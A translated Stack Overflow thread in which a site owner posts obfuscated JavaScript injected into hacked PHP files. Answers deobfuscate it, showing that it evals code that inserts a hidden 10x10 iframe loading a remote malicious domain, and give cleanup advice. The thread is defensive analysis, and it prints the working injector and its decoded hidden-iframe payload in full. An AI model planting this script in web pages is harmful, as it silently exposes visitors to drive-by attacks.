14

我们的一个网站最近遭到攻击,其中多个 php 文件被修改。此修改在页面顶部注入了 javascript,但在 base64 解码所有内容后,我遇到了以下内容,我不知道如何继续。

有没有人在这方面有任何经验,并且无论如何都可以弄清楚他们想要实现的目标是什么?

<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;573!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>

美化:

i = 0;
try {
    avasv = prototype;
} catch (z) {
    h = "harCode";
    f = ['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');
    v = "e" + "va";
}
if (v) e = window[v + "l"];
try {
    q = document.createElement("div");
    q.appendChild(q + "");
} catch (qwg) {
    w = f;
    s = [];
}
r = String;
z = ((e) ? h : "");
for (; 573 != i; i += 1) {
    j = i;
    if (e) s = s + r["fromC" + ((e) ? z : 12)](w[j] * 1 + 42);
}
if (v && e && r && z && h && s && f && v) e(s);
4

3 回答 3

19

我看了这段代码,有点疯狂。

它以 开头try{avasv = prototype;},显然失败了。然后它会产生一些变量。

f是一个数字数组(长度为 573)。 zharCode。接近尾声,有"fromC" + ((e) ? z : 12)。这将创建fromCharCode( String.fromCharCode),它与数字数组一起使用f(在添加42到每个数字之后)。这似乎创建了一个要eval编辑的字符串。

eval是这样编辑的:

v = "e" + "va";
if (v) e = window[v + "l"];

正如你所看到ewindow['eval'],或者简单地说eval

所以,如果你更换:

if (v && e && r && z && h && s && f && v) e(s);

和:

if (v && e && r && z && h && s && f && v) console.log(s);

然后,您可以看到这段代码的目的是什么。我这样做了,这是输出的内容:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://kyubdyyyb.lookin.at/?go=2' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}

function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://kyubdyyyb.lookin.at/?go=2');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

我不知道是什么http://kyubdyyyb.lookin.at/?go=2,所以我建议你不要去那里

这里似乎有很多多余的检查(比如(e) ? z : 12e永远不会是假的)。可能只是为了让代码更混乱。

于 2012-05-18T18:55:20.620 回答
10

我知道这不是一个直接的答案,但看起来已经实现了他们想要做的事情。注入将在您的网站上运行的任意脚本,以执行恶意操作。

谷歌搜索“avasv=prototype”基本上只是列出了大量受感染的站点,但少数看起来没有恶意的点击表明这是一个脚本解包程序。

他们试图达到的目标并不重要。他们做到了。他们在您的 Web 应用程序中放置了一个恶意脚本,然后从那里,他们可以从您的服务器和访问者中窃取敏感数据,并且感谢 XmlHttp,将其发布回他们自己的 Web 服务器。重要的是您将如何在更多访问者受到威胁之前对其进行清理,以及您将如何编写代码以防止未来出现 XSS 和 XSRF。

希望您有源代码控制,并且可以将您的站点恢复到预感染状态。那将是第一件事。

如果您还没有听说过,我强烈建议您定期访问并在http://www.OWASP.org上学习,这是学习如何预防未来发生的绝佳方式。


最后一点,即使您的网站中没有敏感数据,如果您的客户登录到您的网站,您仍然会面临风险。

JavaScript 可以潜在地用于收集他们的用户名/密码组合,然后他们可以将其用于其他站点并可能从这些站点窃取客户的信息。(取决于您的网站的编码方式)因此,清理和保护您的访问者绝对是第一要务,即使这意味着关闭您的网站进行“维护”

头几次发生这种情况会很有趣。

最后,谷歌在他们的文章“我的网站被黑客入侵了。现在怎么办?”中有一些很好的建议。

于 2012-05-18T18:51:29.463 回答
2

我也得到了这个小动物,它有一段时间令人困惑,因为 grepping 识别像 avasv=prototype 这样的字符串会产生一些结果,但删除它们并不能清除感染。为了澄清 OP,事实证明它最初是在注入一些更有趣的 PHP,通常在 index.php 文件中。你会在第 1 行看到一个 php eval(base64_decode(...)) 。

这段代码的作用是解码和评估一个包含一些 php.ini 的 base64 字符串,我不会费心重新发布,因为它很简单。该代码内部是一个基本的 UA 检查器,它查找不可感染的浏览器/操作系统组合(mac、linux、google chrome 浏览器等)的字符串并搜索蜘蛛/机器人。这也是如果您尝试查看某些浏览器/操作系统组合或使用 curl/wget 时不会看到恶意 javascript 的原因。如果它没有找到列出的 UA 字符串之一,它会解码并回显在 OP 中看到的脚本,该脚本也是 base64 编码的。

所以你想要根除它的是 grep for "eval(base64_decode("。我能想到的特定功能组合没有合法目的,所以你应该能够很快找到它并擦除它当然,这并不能解决您最初的感染点。

于 2012-05-27T23:29:18.453 回答